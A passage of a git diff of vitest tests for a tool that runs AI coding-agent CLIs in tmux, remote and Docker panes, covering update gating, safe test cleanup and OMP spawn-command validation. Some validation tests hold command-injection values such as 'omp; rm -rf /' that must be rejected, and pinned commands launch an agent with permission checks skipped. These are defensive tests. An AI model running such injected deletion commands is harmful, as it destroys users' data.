expect(canSelfUpdateInPlace('git')).toBe(true);
|
||||
expect(canSelfUpdateInPlace('docker-compose')).toBe(true);
|
||||
expect(canSelfUpdateInPlace('npm')).toBe(false);
|
||||
// A container with no repo mounted: a pull would land in the writable layer.
|
||||
expect(canSelfUpdateInPlace('unknown')).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
describe('parseEnvKeys', () => {
|
||||
it('reads set keys and ignores blanks, comments and values', () => {
|
||||
expect(parseEnvKeys('A=1\n\nB=two words\n')).toEqual(['A', 'B']);
|
||||
});
|
||||
|
||||
it('does NOT treat a commented-out key as set', () => {
|
||||
// .env.example documents optional overrides as `# PUID=1000`. Counting those
|
||||
// as required would block every update on settings the user should not set.
|
||||
expect(parseEnvKeys('# PUID=1000\nCODEMAN_PORT=3000')).toEqual(['CODEMAN_PORT']);
|
||||
});
|
||||
|
||||
it('handles `export` prefixes and repeated keys', () => {
|
||||
expect(parseEnvKeys('export A=1\nA=2\n')).toEqual(['A']);
|
||||
});
|
||||
|
||||
it('ignores lines that are not assignments', () => {
|
||||
expect(parseEnvKeys('just a line\n=novalue\n1BAD=x\nOK=y')).toEqual(['OK']);
|
||||
});
|
||||
});
|
||||
|
||||
describe('diffRequiredEnvKeys', () => {
|
||||
it('reports keys the release added that the user has no value for', () => {
|
||||
expect(diffRequiredEnvKeys('A=\nB=\nC=', 'A=1\nC=3')).toEqual(['B']);
|
||||
});
|
||||
|
||||
it('ignores keys the user set that the release dropped', () => {
|
||||
expect(diffRequiredEnvKeys('A=', 'A=1\nOBSOLETE=2')).toEqual([]);
|
||||
});
|
||||
|
||||
it('counts a key the user set to an EMPTY value as present', () => {
|
||||
// `GEMINI_API_KEY=` is a deliberate opt-out, not a missing setting.
|
||||
expect(diffRequiredEnvKeys('GEMINI_API_KEY=', 'GEMINI_API_KEY=')).toEqual([]);
|
||||
});
|
||||
});
|
||||
|
||||
describe('isAutoRestartPolicy', () => {
|
||||
it('accepts the policies that relaunch the container after the server exits', () => {
|
||||
expect(isAutoRestartPolicy('unless-stopped')).toBe(true);
|
||||
expect(isAutoRestartPolicy('always')).toBe(true);
|
||||
expect(isAutoRestartPolicy('on-failure')).toBe(true);
|
||||
});
|
||||
|
||||
it('rejects "no" and unknown values', () => {
|
||||
expect(isAutoRestartPolicy('no')).toBe(false);
|
||||
expect(isAutoRestartPolicy('')).toBe(false);
|
||||
expect(isAutoRestartPolicy(null)).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
describe('shouldRestartByExit', () => {
|
||||
it('exits when the Compose file declared it, whatever the daemon says', () => {
|
||||
expect(shouldRestartByExit(true, null)).toBe(true);
|
||||
expect(shouldRestartByExit(true, 'unless-stopped')).toBe(true);
|
||||
});
|
||||
|
||||
it('exits when the daemon confirms an auto-restart policy', () => {
|
||||
expect(shouldRestartByExit(false, 'unless-stopped')).toBe(true);
|
||||
expect(shouldRestartByExit(false, 'always')).toBe(true);
|
||||
});
|
||||
|
||||
// ⚠️ The gate fails open on an unknown policy; the KILL must not. A container
|
||||
// nothing restarts would otherwise go down with no UI left to recover it.
|
||||
it('does NOT exit on an unknown or non-restarting policy without the declaration', () => {
|
||||
expect(shouldRestartByExit(false, null)).toBe(false);
|
||||
expect(shouldRestartByExit(false, 'no')).toBe(false);
|
||||
expect(shouldRestartByExit(false, '')).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
describe('computeEnvironmentBlockers', () => {
|
||||
it('allows a code-only release', () => {
|
||||
expect(computeEnvironmentBlockers(CLEAN)).toEqual([]);
|
||||
});
|
||||
|
||||
it('blocks a release that changes the Dockerfile', () => {
|
||||
const blockers = computeEnvironmentBlockers({ ...CLEAN, targetDockerfileHash: 'zzz' });
|
||||
expect(blockers.map((b) => b.kind)).toEqual(['dockerfile-changed']);
|
||||
});
|
||||
|
||||
it('blocks a release that changes the compose file', () => {
|
||||
const blockers = computeEnvironmentBlockers({ ...CLEAN, targetComposeHash: 'zzz' });
|
||||
expect(blockers.map((b) => b.kind)).toEqual(['compose-changed']);
|
||||
});
|
||||
|
||||
it('blocks and NAMES missing env keys', () => {
|
||||
const blockers = computeEnvironmentBlockers({ ...CLEAN, missingEnvKeys: ['CODEMAN_NEW_THING'] });
|
||||
expect(blockers[0].kind).toBe('env-keys-missing');
|
||||
expect(blockers[0].details).toEqual(['CODEMAN_NEW_THING']);
|
||||
});
|
||||
|
||||
it('blocks when the container would not come back', () => {
|
||||
const blockers = computeEnvironmentBlockers({ ...CLEAN, restartPolicy: 'no' });
|
||||
expect(blockers.map((b) => b.kind)).toEqual(['no-auto-restart']);
|
||||
// The message says which policy, so the fix is obvious from the UI alone.
|
||||
expect(blockers[0].message).toContain('"no"');
|
||||
});
|
||||
|
||||
it('reports every blocker at once rather than stopping at the first', () => {
|
||||
const blockers = computeEnvironmentBlockers({
|
||||
...CLEAN,
|
||||
targetDockerfileHash: 'zzz',
|
||||
targetComposeHash: 'yyy',
|
||||
missingEnvKeys: ['A'],
|
||||
restartPolicy: 'no',
|
||||
});
|
||||
expect(blockers.map((b) => b.kind)).toEqual([
|
||||
'dockerfile-changed',
|
||||
'compose-changed',
|
||||
'env-keys-missing',
|
||||
'no-auto-restart',
|
||||
]);
|
||||
});
|
||||
|
||||
// ⚠️ Regression guards for the fail-OPEN decisions. An unknown baseline is not
|
||||
// evidence of a change, and failing closed there would permanently block every
|
||||
// container created before the fingerprint file existed.
|
||||
it('does not block when the applied baseline is unknown', () => {
|
||||
expect(computeEnvironmentBlockers({ ...CLEAN, appliedDockerfileHash: null, appliedComposeHash: null })).toEqual([]);
|
||||
});
|
||||
|
||||
it('does not block when the target files cannot be read', () => {
|
||||
expect(computeEnvironmentBlockers({ ...CLEAN, targetDockerfileHash: null, targetComposeHash: null })).toEqual([]);
|
||||
});
|
||||
|
||||
it('does not block when the restart policy is unknown', () => {
|
||||
// The probe needs the Docker socket, which a user may not have mounted.
|
||||
expect(computeEnvironmentBlockers({ ...CLEAN, restartPolicy: null })).toEqual([]);
|
||||
});
|
||||
});
|
||||
+7
-14
@@ -1,8 +1,8 @@
|
||||
import { describe, it, expect, beforeAll, afterAll, afterEach } from 'vitest';
|
||||
import { WebServer } from '../src/web/server.js';
|
||||
import { existsSync, rmSync } from 'node:fs';
|
||||
import { join } from 'node:path';
|
||||
import { homedir } from 'node:os';
|
||||
import { safeRmHomeTree } from './mocks/index.js';
|
||||
|
||||
const TEST_PORT = 3110;
|
||||
const CASES_DIR = join(homedir(), 'codeman-cases');
|
||||
@@ -19,13 +19,12 @@ describe('Edge Cases and Error Handling', () => {
|
||||
});
|
||||
|
||||
afterEach(() => {
|
||||
// Clean up cases created during this test
|
||||
// Clean up cases created during this test. SAFETY: CASES_DIR is
|
||||
// homedir()-derived, which on some platforms ignores the test HOME — the
|
||||
// containment gate refuses to delete anything not under the temp HOME.
|
||||
while (createdCases.length > 0) {
|
||||
const caseName = createdCases.pop()!;
|
||||
const casePath = join(CASES_DIR, caseName);
|
||||
if (existsSync(casePath)) {
|
||||
rmSync(casePath, { recursive: true, force: true });
|
||||
}
|
||||
safeRmHomeTree(join(CASES_DIR, caseName));
|
||||
}
|
||||
});
|
||||
|
||||
@@ -349,15 +348,9 @@ describe('Concurrent Session Handling', () => {
|
||||
}
|
||||
}
|
||||
|
||||
// Cleanup
|
||||
const { rmSync, existsSync } = await import('node:fs');
|
||||
const { join } = await import('node:path');
|
||||
const { homedir } = await import('node:os');
|
||||
// Cleanup (containment-gated: never touch prod ~/codeman-cases)
|
||||
for (const name of createdCases) {
|
||||
const path = join(homedir(), 'codeman-cases', name);
|
||||
if (existsSync(path)) {
|
||||
rmSync(path, { recursive: true, force: true });
|
||||
}
|
||||
safeRmHomeTree(join(homedir(), 'codeman-cases', name));
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
@@ -1,8 +1,8 @@
|
||||
import { describe, it, expect, beforeAll, afterAll, afterEach } from 'vitest';
|
||||
import { WebServer } from '../src/web/server.js';
|
||||
import { existsSync, rmSync } from 'node:fs';
|
||||
import { join } from 'node:path';
|
||||
import { homedir } from 'node:os';
|
||||
import { safeRmHomeTree } from './mocks/index.js';
|
||||
|
||||
const TEST_PORT = 3115;
|
||||
const CASES_DIR = join(homedir(), 'codeman-cases');
|
||||
@@ -24,13 +24,11 @@ describe('Integration Flows', () => {
|
||||
});
|
||||
|
||||
afterEach(() => {
|
||||
// Clean up cases created during this test
|
||||
// Clean up cases created during this test (containment-gated: never
|
||||
// delete a case dir outside the temp HOME, e.g. prod ~/codeman-cases on
|
||||
// platforms where os.homedir() ignores $HOME).
|
||||
while (createdCases.length > 0) {
|
||||
const caseName = createdCases.pop()!;
|
||||
const casePath = join(CASES_DIR, caseName);
|
||||
if (existsSync(casePath)) {
|
||||
rmSync(casePath, { recursive: true, force: true });
|
||||
}
|
||||
safeRmHomeTree(join(CASES_DIR, createdCases.pop()!));
|
||||
}
|
||||
});
|
||||
|
||||
@@ -296,10 +294,7 @@ describe('SSE Event Flow', () => {
|
||||
} catch {}
|
||||
}
|
||||
for (const caseName of createdCases) {
|
||||
const casePath = join(CASES_DIR, caseName);
|
||||
if (existsSync(casePath)) {
|
||||
rmSync(casePath, { recursive: true, force: true });
|
||||
}
|
||||
safeRmHomeTree(join(CASES_DIR, caseName));
|
||||
}
|
||||
await server.stop();
|
||||
}, 60000);
|
||||
|
||||
@@ -0,0 +1,63 @@
|
||||
/**
|
||||
* @fileoverview Golden pins for the remote/docker LOCATION OVERLAY commands, now that both
|
||||
* are read from `overlays.<location>` on the registry entry rather than from a hardcoded
|
||||
* `Record<…CommandMode, string>` in each file.
|
||||
*
|
||||
* The literals below are transcribed from those two tables as they stood BEFORE the wiring,
|
||||
* which is the whole point: the tables were dead-simple duplicates of registry data with
|
||||
* nothing keeping the two in step, and the way to delete a duplicate safely is to pin what it
|
||||
* produced first. A diff here means an entry's `overlays` (or its first declared binary)
|
||||
* changed what a remote or in-container pane actually runs.
|
||||
*
|
||||
* Note the two arms deliberately NOT read from an entry, each for its own reason: remote
|
||||
* `shell` resolves the REMOTE user's login shell (unknowable from here, hence `$SHELL`), and
|
||||
* docker `shell` is the entry that declares `docker: { disabled: true }` — a container has no
|
||||
* per-user login shell to resolve, so it gets a plain `bash -l`.
|
||||
*
|
||||
* Port: none (pure, over registry data).
|
||||
*/
|
||||
|
||||
import { it, expect } from 'vitest';
|
||||
import { defaultRemoteCommandForMode, remoteLoginShellCommand } from '../src/remote-hosts.js';
|
||||
import { defaultDockerCommandForMode } from '../src/docker-hosts.js';
|
||||
import type { SessionMode } from '../src/types/session.js';
|
||||
|
||||
const REMOTE_LOGIN_SHELL = '"${SHELL:-/bin/sh}"';
|
||||
|
||||
it('pins every remote pane command', () => {
|
||||
const expected: Record<string, string> = {
|
||||
shell: `exec ${REMOTE_LOGIN_SHELL} -i -l`,
|
||||
claude: remoteLoginShellCommand('claude --dangerously-skip-permissions'),
|
||||
opencode: remoteLoginShellCommand('opencode'),
|
||||
codex: remoteLoginShellCommand('codex'),
|
||||
gemini: remoteLoginShellCommand('gemini'),
|
||||
antigravity: remoteLoginShellCommand('agy'),
|
||||
pi: remoteLoginShellCommand('pi'),
|
||||
grok: remoteLoginShellCommand('grok'),
|
||||
deepseek: remoteLoginShellCommand('dsh'),
|
||||
omp: remoteLoginShellCommand('omp'),
|
||||
};
|
||||
for (const [mode, want] of Object.entries(expected)) {
|
||||
expect(defaultRemoteCommandForMode(mode as SessionMode), mode).toBe(want);
|
||||
}
|
||||
expect(defaultRemoteCommandForMode('nope' as SessionMode)).toBe(expected.shell);
|
||||
});
|
||||
|
||||
it('pins every in-container pane command', () => {
|
||||
const expected: Record<string, string> = {
|
||||
shell: 'exec bash -l',
|
||||
claude: 'exec claude --dangerously-skip-permissions',
|
||||
opencode: 'exec opencode',
|
||||
codex: 'exec codex',
|
||||
gemini: 'exec gemini',
|
||||
antigravity: 'exec agy',
|
||||
pi: 'exec pi',
|
||||
grok: 'exec grok',
|
||||
deepseek: 'exec dsh',
|
||||
omp: 'exec omp',
|
||||
};
|
||||
for (const [mode, want] of Object.entries(expected)) {
|
||||
expect(defaultDockerCommandForMode(mode as SessionMode), mode).toBe(want);
|
||||
}
|
||||
expect(defaultDockerCommandForMode('nope' as SessionMode)).toBe('exec bash -l');
|
||||
});
|
||||
@@ -433,6 +433,7 @@ describe('mobile overview run picker (CLI availability gating)', () => {
|
||||
'pi',
|
||||
'grok',
|
||||
'deepseek',
|
||||
'omp',
|
||||
'shell',
|
||||
]);
|
||||
});
|
||||
@@ -447,7 +448,7 @@ describe('mobile overview run picker (CLI availability gating)', () => {
|
||||
src.indexOf('];', src.indexOf('const MOBILE_OVERVIEW_RUN_MODES')) + 2
|
||||
);
|
||||
const offered = [...modesBlock.matchAll(/mode: '([^']+)'/g)].map((m) => m[1]);
|
||||
expect(offered).toContain('antigravity');
|
||||
expect(offered).toContain('omp');
|
||||
const fn = src.slice(src.indexOf('_buildMobileOverviewRunMenu() {'));
|
||||
const gate = fn.slice(0, fn.indexOf('const header'));
|
||||
expect(gate).toContain('isCliAvailable');
|
||||
|
||||
+1
-1
@@ -7,5 +7,5 @@
|
||||
|
||||
export { MockSession, createMockSession, terminalOutputs } from './mock-session.js';
|
||||
export { MockStateStore } from './mock-state-store.js';
|
||||
export { waitForEvent, createDeferred } from './test-helpers.js';
|
||||
export { waitForEvent, createDeferred, safeRmHomeTree, isUnderTestHome } from './test-helpers.js';
|
||||
export { createMockRouteContext, type MockRouteContext } from './mock-route-context.js';
|
||||
|
||||
@@ -86,6 +86,7 @@ export function createMockRouteContext(options?: {
|
||||
getSession: vi.fn(),
|
||||
setSession: vi.fn(),
|
||||
removeSession: vi.fn(),
|
||||
demoteOrRemoveSession: vi.fn(() => 'removed' as const),
|
||||
getSettings: vi.fn(() => ({})),
|
||||
setSettings: vi.fn(),
|
||||
getRalphLoopState: vi.fn(() => ({})),
|
||||
|
||||
@@ -2,6 +2,9 @@
|
||||
* Reusable async test helpers.
|
||||
*/
|
||||
|
||||
import { rmSync } from 'node:fs';
|
||||
import { resolve } from 'node:path';
|
||||
|
||||
/** Wait for an EventEmitter to emit a specific event, with timeout */
|
||||
export function waitForEvent(
|
||||
emitter: { once: (event: string, listener: (...args: unknown[]) => void) => void },
|
||||
@@ -34,3 +37,39 @@ export function createDeferred<T = void>(): {
|
||||
});
|
||||
return { promise, resolve, reject };
|
||||
}
|
||||
|
||||
/**
|
||||
* Delete a directory tree, but ONLY when it lives inside the test HOME.
|
||||
*
|
||||
* SAFETY (2026-08-29): `test/setup.ts` redirects `process.env.HOME` to a
|
||||
* throwaway dir and `os.homedir()` follows it, so a `rmSync(CASES_DIR,
|
||||
* recursive)` normally lands inside the fixture. This gate is defense in depth
|
||||
* for the day that stops being true (a test that runs outside setup.ts, an
|
||||
* env override that anchors a path elsewhere): it refuses to delete anything
|
||||
* not under the redirected `process.env.HOME`, so the failure mode is a
|
||||
* leftover temp dir rather than a deleted PRODUCTION `~/codeman-cases`.
|
||||
* Lexical `resolve()` is used because the leaf often does not exist and
|
||||
* `realpathSync` would throw.
|
||||
*/
|
||||
export function safeRmHomeTree(path: string): void {
|
||||
const home = process.env.HOME;
|
||||
if (!home) return;
|
||||
const target = resolve(path);
|
||||
const root = resolve(home);
|
||||
if (target === root || target.startsWith(root + '/')) {
|
||||
rmSync(target, { recursive: true, force: true });
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* True when `path` resolves strictly inside `process.env.HOME` (or to it).
|
||||
* Same rationale as `safeRmHomeTree`; use for guarded non-recursive deletes
|
||||
* (single files like `linked-cases.json`) so they can never touch prod state.
|
||||
*/
|
||||
export function isUnderTestHome(path: string): boolean {
|
||||
const home = process.env.HOME;
|
||||
if (!home) return false;
|
||||
const target = resolve(path);
|
||||
const root = resolve(home);
|
||||
return target === root || target.startsWith(root + '/');
|
||||
}
|
||||
|
||||
@@ -0,0 +1,132 @@
|
||||
/**
|
||||
* @fileoverview Tests for the OMP CLI resolver wrapper.
|
||||
*
|
||||
* OMP is a resolver with a version probe: `omp` is a short binary name, so a
|
||||
* resolved path is only accepted once `omp --version` prints an `omp/<semver>`
|
||||
* string (e.g. `omp/17.4.0`). The probe EXECUTES the candidate, which is
|
||||
* exactly why it must never run under vitest — the hermeticity test below pins
|
||||
* that gate with a real executable fixture that would make the test fail
|
||||
* loudly if the gate were deleted again.
|
||||
*/
|
||||
import { chmodSync, mkdtempSync, rmSync, writeFileSync } from 'node:fs';
|
||||
import { tmpdir } from 'node:os';
|
||||
import { join } from 'node:path';
|
||||
import { afterEach, describe, expect, it, vi } from 'vitest';
|
||||
import { createOmpResolverForTest } from '../src/utils/omp-cli-resolver.js';
|
||||
import {
|
||||
cliResolveRetryDelayMs,
|
||||
createProductionCliResolverHost,
|
||||
type CliResolverHost,
|
||||
} from '../src/utils/cli-executable-resolver.js';
|
||||
|
||||
const temporaryDirectories: string[] = [];
|
||||
|
||||
afterEach(() => {
|
||||
for (const directory of temporaryDirectories.splice(0)) {
|
||||
rmSync(directory, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
|
||||
function createHost(
|
||||
options: {
|
||||
processPathResult?: string | null;
|
||||
loginShellResults?: Array<string | null>;
|
||||
existingPaths?: string[];
|
||||
} = {}
|
||||
): CliResolverHost {
|
||||
const loginShellResults = [...(options.loginShellResults ?? [])];
|
||||
const existingPaths = new Set(options.existingPaths ?? []);
|
||||
return {
|
||||
processPath: '/service/bin',
|
||||
shellPath: '/bin/zsh',
|
||||
shellArgs: ['-l'],
|
||||
findOnProcessPath: () => options.processPathResult ?? null,
|
||||
findInLoginShell: () => loginShellResults.shift() ?? null,
|
||||
exists: (path) => existingPaths.has(path),
|
||||
};
|
||||
}
|
||||
|
||||
describe('OMP CLI resolver', () => {
|
||||
it('accepts a candidate the version probe verifies and carries the version as metadata', () => {
|
||||
const binaryPath = '/service/bin/omp';
|
||||
const probe = vi.fn(() => '17.4.0');
|
||||
const resolver = createOmpResolverForTest(
|
||||
createHost({ processPathResult: binaryPath, existingPaths: [binaryPath] }),
|
||||
probe
|
||||
);
|
||||
|
||||
expect(resolver.resolve()).toMatchObject({
|
||||
binaryPath,
|
||||
directory: '/service/bin',
|
||||
source: 'process-path',
|
||||
metadata: '17.4.0',
|
||||
});
|
||||
expect(probe).toHaveBeenCalledWith(binaryPath);
|
||||
});
|
||||
|
||||
it('rejects a candidate the probe refuses and falls through to a later one', () => {
|
||||
// An unrelated `omp` on the service PATH (probe returns null) must not mask
|
||||
// the real coding agent found by the login shell.
|
||||
const impostor = '/service/bin/omp';
|
||||
const genuine = '/login-shell/bin/omp';
|
||||
const probe = vi.fn((binPath: string) => (binPath === genuine ? '17.4.0' : null));
|
||||
const resolver = createOmpResolverForTest(
|
||||
createHost({
|
||||
processPathResult: impostor,
|
||||
loginShellResults: [genuine],
|
||||
existingPaths: [impostor, genuine],
|
||||
}),
|
||||
probe
|
||||
);
|
||||
|
||||
expect(resolver.resolve()).toMatchObject({ binaryPath: genuine, source: 'login-shell', metadata: '17.4.0' });
|
||||
});
|
||||
|
||||
it('negative-caches a miss and retries only after the backoff elapses', () => {
|
||||
const binaryPath = '/late/bin/omp';
|
||||
let now = 0;
|
||||
const probe = vi.fn(() => '17.4.0');
|
||||
const resolver = createOmpResolverForTest(
|
||||
createHost({ loginShellResults: [null, binaryPath], existingPaths: [binaryPath] }),
|
||||
probe,
|
||||
() => now
|
||||
);
|
||||
|
||||
expect(resolver.resolve()).toBeNull();
|
||||
expect(resolver.resolve()).toBeNull(); // within the backoff: no re-run
|
||||
expect(probe).not.toHaveBeenCalled();
|
||||
now = cliResolveRetryDelayMs(1);
|
||||
expect(resolver.resolve()?.metadata).toBe('17.4.0');
|
||||
expect(resolver.resolve()?.binaryPath).toBe(binaryPath);
|
||||
});
|
||||
|
||||
it('never executes an omp candidate under vitest (the ambient probe is VITEST-gated)', () => {
|
||||
// A REAL executable fixture that prints a valid version. If the guard in
|
||||
// probeOmpVersion is ever removed again, the probe runs this script, the
|
||||
// resolution SUCCEEDS, and this test fails — pinning hermeticity by
|
||||
// behavior rather than by source text. (The suites must never execute
|
||||
// whatever `omp` binary the machine running them happens to carry.)
|
||||
const root = mkdtempSync(join(tmpdir(), 'codeman-omp-vitest-gate-'));
|
||||
temporaryDirectories.push(root);
|
||||
const binaryPath = join(root, 'omp');
|
||||
writeFileSync(binaryPath, '#!/bin/sh\necho omp/0.99.0\n');
|
||||
chmodSync(binaryPath, 0o755);
|
||||
const hostOptions = {
|
||||
processPath: root,
|
||||
shellPath: '/bin/bash',
|
||||
shellArgs: ['-i', '-l'] as string[],
|
||||
runCommand: () => '',
|
||||
isExecutableFile: (path: string) => path === binaryPath,
|
||||
};
|
||||
|
||||
// Default (ambient) probe: the candidate is found but never executed, so
|
||||
// the VITEST gate reports it unusable and resolution misses.
|
||||
const gated = createOmpResolverForTest(createProductionCliResolverHost(hostOptions));
|
||||
expect(gated.resolve()).toBeNull();
|
||||
|
||||
// Control: identical setup with an injected probe resolves, proving the
|
||||
// null above comes from the gate, not from the fixture or the host.
|
||||
const control = createOmpResolverForTest(createProductionCliResolverHost(hostOptions), () => '0.99.0');
|
||||
expect(control.resolve()).toMatchObject({ binaryPath, metadata: '0.99.0' });
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,129 @@
|
||||
/**
|
||||
* @fileoverview Pins the "Run OMP always resumes" bug found live 2026-08-27,
|
||||
* and its follow-on fix for the sibling-aliasing bug found in upstream PR
|
||||
* review (Ark0N/Codeman#353).
|
||||
*
|
||||
* Session._pinOmpRespawnId() resolves-and-pins the newest on-disk omp
|
||||
* conversation as a side effect on `this._ompConfig`. That is correct ONLY
|
||||
* immediately before an ACTUAL respawn (a confirmed-dead pane, or a genuine
|
||||
* remote reattach) — never while merely building options that might not
|
||||
* lead to one. It used to run eagerly inside `_buildRespawnPaneOptions()`,
|
||||
* which startInteractive() calls unconditionally (including for a genuinely
|
||||
* brand-new session, and for a boot-recovery reattach to a pane that turns
|
||||
* out to still be alive): a fresh "Run OMP" click in a working directory
|
||||
* with any prior omp history silently launched `--resume <old-id>` instead
|
||||
* of a clean `omp` invocation, and — with two omp tabs in the same case dir
|
||||
* — a live pane's `_ompConfig`/`claudeSessionId` could get mis-pinned to
|
||||
* whichever sibling's file happened to be newest on disk, even though
|
||||
* nothing was actually being respawned. Resolution now happens only inside
|
||||
* `_pinOmpRespawnId()`, called by a caller that has already confirmed a
|
||||
* real respawn is happening.
|
||||
*/
|
||||
import { mkdirSync, rmSync, writeFileSync } from 'node:fs';
|
||||
import { homedir } from 'node:os';
|
||||
import { join } from 'node:path';
|
||||
import { afterEach, describe, expect, it } from 'vitest';
|
||||
import { Session } from '../src/session.js';
|
||||
import { TmuxManager } from '../src/tmux-manager.js';
|
||||
import type { MuxSession } from '../src/types.js';
|
||||
|
||||
describe('OMP: fresh session vs. reattach must not share resumeSessionId resolution', () => {
|
||||
const workingDir = join(homedir(), 'codeman-cases', 'resume-test');
|
||||
const sessionDir = join(homedir(), '.omp', 'agent', 'sessions', '-codeman-cases-resume-test');
|
||||
const sessions: Session[] = [];
|
||||
|
||||
afterEach(() => {
|
||||
for (const s of sessions.splice(0)) s.stop();
|
||||
rmSync(join(homedir(), '.omp'), { recursive: true, force: true });
|
||||
});
|
||||
|
||||
function seedOmpSessionFile(id: string) {
|
||||
mkdirSync(workingDir, { recursive: true });
|
||||
mkdirSync(sessionDir, { recursive: true });
|
||||
// resolveAndClaimOmpSessionId() verifies the file's own header (not just
|
||||
// the filename), mirroring the real `omp` session-file shape — the
|
||||
// header's `cwd` must match `workingDir` for the candidate to count.
|
||||
const header = `${JSON.stringify({ type: 'session', id, cwd: workingDir })}\n`;
|
||||
writeFileSync(join(sessionDir, `2026-08-27T17-31-08-001Z_${id}.jsonl`), header);
|
||||
}
|
||||
|
||||
it('a brand-new session (no prior mux session) never inherits an on-disk conversation', async () => {
|
||||
seedOmpSessionFile('old-conversation-id');
|
||||
|
||||
const session = new Session({
|
||||
workingDir,
|
||||
mode: 'omp',
|
||||
mux: new TmuxManager(),
|
||||
useMux: true,
|
||||
});
|
||||
sessions.push(session);
|
||||
|
||||
await session.startInteractive();
|
||||
const state = session.toState();
|
||||
|
||||
expect(state.ompConfig).toBeUndefined();
|
||||
expect(session.claudeSessionId).toBe(session.id);
|
||||
});
|
||||
|
||||
it('a plain reattach to an existing mux session (pane still alive) does NOT pin', async () => {
|
||||
// Regression for the sibling-aliasing bug: pinning must never be a side
|
||||
// effect of merely building respawn options for a pane that might still
|
||||
// be alive (isPaneDead is unconditionally false under IS_TEST_MODE,
|
||||
// which is what a real "just reattaching, nothing died" boot recovery
|
||||
// looks like from Session's perspective).
|
||||
seedOmpSessionFile('sibling-conversation-id');
|
||||
|
||||
const muxSession: MuxSession = {
|
||||
sessionId: 'placeholder',
|
||||
muxName: 'codeman-deadbeef',
|
||||
pid: 1,
|
||||
createdAt: Date.now(),
|
||||
workingDir,
|
||||
mode: 'omp',
|
||||
attached: false,
|
||||
};
|
||||
|
||||
const session = new Session({
|
||||
workingDir,
|
||||
mode: 'omp',
|
||||
mux: new TmuxManager(),
|
||||
useMux: true,
|
||||
muxSession,
|
||||
});
|
||||
sessions.push(session);
|
||||
|
||||
await session.startInteractive();
|
||||
const state = session.toState();
|
||||
|
||||
expect(state.ompConfig?.resumeSessionId).toBeUndefined();
|
||||
expect(session.claudeSessionId).toBe(session.id);
|
||||
});
|
||||
|
||||
it('_pinOmpRespawnId() resolves and pins the real id once a respawn is confirmed', () => {
|
||||
seedOmpSessionFile('real-omp-uuid');
|
||||
|
||||
const muxSession: MuxSession = {
|
||||
sessionId: 'placeholder',
|
||||
muxName: 'codeman-deadbeef',
|
||||
pid: 1,
|
||||
createdAt: Date.now(),
|
||||
workingDir,
|
||||
mode: 'omp',
|
||||
attached: false,
|
||||
};
|
||||
|
||||
const session = new Session({
|
||||
workingDir,
|
||||
mode: 'omp',
|
||||
mux: new TmuxManager(),
|
||||
useMux: true,
|
||||
muxSession,
|
||||
});
|
||||
sessions.push(session);
|
||||
|
||||
(session as unknown as { _pinOmpRespawnId(): void })._pinOmpRespawnId();
|
||||
|
||||
expect(session.toState().ompConfig?.resumeSessionId).toBe('real-omp-uuid');
|
||||
expect(session.claudeSessionId).toBe('real-omp-uuid');
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,165 @@
|
||||
import { describe, expect, it, beforeEach, afterEach } from 'vitest';
|
||||
import { CreateSessionSchema, QuickStartSchema } from '../src/web/schemas.js';
|
||||
import { buildSpawnCommand } from '../src/tmux-manager.js';
|
||||
import { defaultDockerCommandForMode } from '../src/docker-hosts.js';
|
||||
import { defaultRemoteCommandForMode } from '../src/remote-hosts.js';
|
||||
import { isExternalCliMode, isAltScreenStripMode } from '../src/session.js';
|
||||
import { _clampEnvOverridesForOwner } from '../src/web/routes/session-routes.js';
|
||||
|
||||
describe('OMP mode schemas', () => {
|
||||
it('accepts OMP session creation config', () => {
|
||||
const parsed = CreateSessionSchema.parse({
|
||||
workingDir: '/tmp',
|
||||
mode: 'omp',
|
||||
ompConfig: {
|
||||
model: 'crof/glm-5.2',
|
||||
},
|
||||
});
|
||||
|
||||
expect(parsed.mode).toBe('omp');
|
||||
expect(parsed.ompConfig).toEqual({
|
||||
model: 'crof/glm-5.2',
|
||||
});
|
||||
});
|
||||
|
||||
it('accepts OMP quick-start config', () => {
|
||||
const parsed = QuickStartSchema.parse({
|
||||
caseName: 'omp-case',
|
||||
mode: 'omp',
|
||||
ompConfig: {
|
||||
resumeSessionId: 'session-1234abcd',
|
||||
},
|
||||
});
|
||||
|
||||
expect(parsed.mode).toBe('omp');
|
||||
expect(parsed.ompConfig?.resumeSessionId).toBe('session-1234abcd');
|
||||
});
|
||||
|
||||
it('rejects unsafe OMP model strings', () => {
|
||||
expect(() =>
|
||||
CreateSessionSchema.parse({
|
||||
workingDir: '/tmp',
|
||||
mode: 'omp',
|
||||
ompConfig: { model: 'omp; rm -rf /' },
|
||||
})
|
||||
).toThrow();
|
||||
});
|
||||
|
||||
it('allows OMP_* env overrides and still rejects unknown prefixes', () => {
|
||||
const parsed = CreateSessionSchema.parse({
|
||||
workingDir: '/tmp',
|
||||
mode: 'omp',
|
||||
envOverrides: { OMP_PROFILE: 'work' },
|
||||
});
|
||||
expect(parsed.envOverrides).toEqual({ OMP_PROFILE: 'work' });
|
||||
|
||||
expect(() =>
|
||||
CreateSessionSchema.parse({
|
||||
workingDir: '/tmp',
|
||||
envOverrides: { RANDOM_PREFIX_KEY: 'x' },
|
||||
})
|
||||
).toThrow();
|
||||
});
|
||||
});
|
||||
|
||||
describe('OMP spawn command', () => {
|
||||
it('builds a bare omp command when no config is sent', () => {
|
||||
const cmd = buildSpawnCommand({ mode: 'omp', sessionId: 'abc12345' });
|
||||
expect(cmd).toBe('omp');
|
||||
});
|
||||
|
||||
it('passes --model and --resume, and drops unsafe ids', () => {
|
||||
expect(
|
||||
buildSpawnCommand({
|
||||
mode: 'omp',
|
||||
sessionId: 'abc12345',
|
||||
ompConfig: { model: 'crof/glm-5.2', resumeSessionId: 'session-99' },
|
||||
})
|
||||
).toBe('omp --model crof/glm-5.2 --resume session-99');
|
||||
|
||||
expect(
|
||||
buildSpawnCommand({
|
||||
mode: 'omp',
|
||||
sessionId: 'abc12345',
|
||||
ompConfig: { resumeSessionId: 'x; rm -rf /' },
|
||||
})
|
||||
).toBe('omp');
|
||||
});
|
||||
|
||||
it('continues the most recent session when no explicit resume id is given', () => {
|
||||
expect(
|
||||
buildSpawnCommand({
|
||||
mode: 'omp',
|
||||
sessionId: 'abc12345',
|
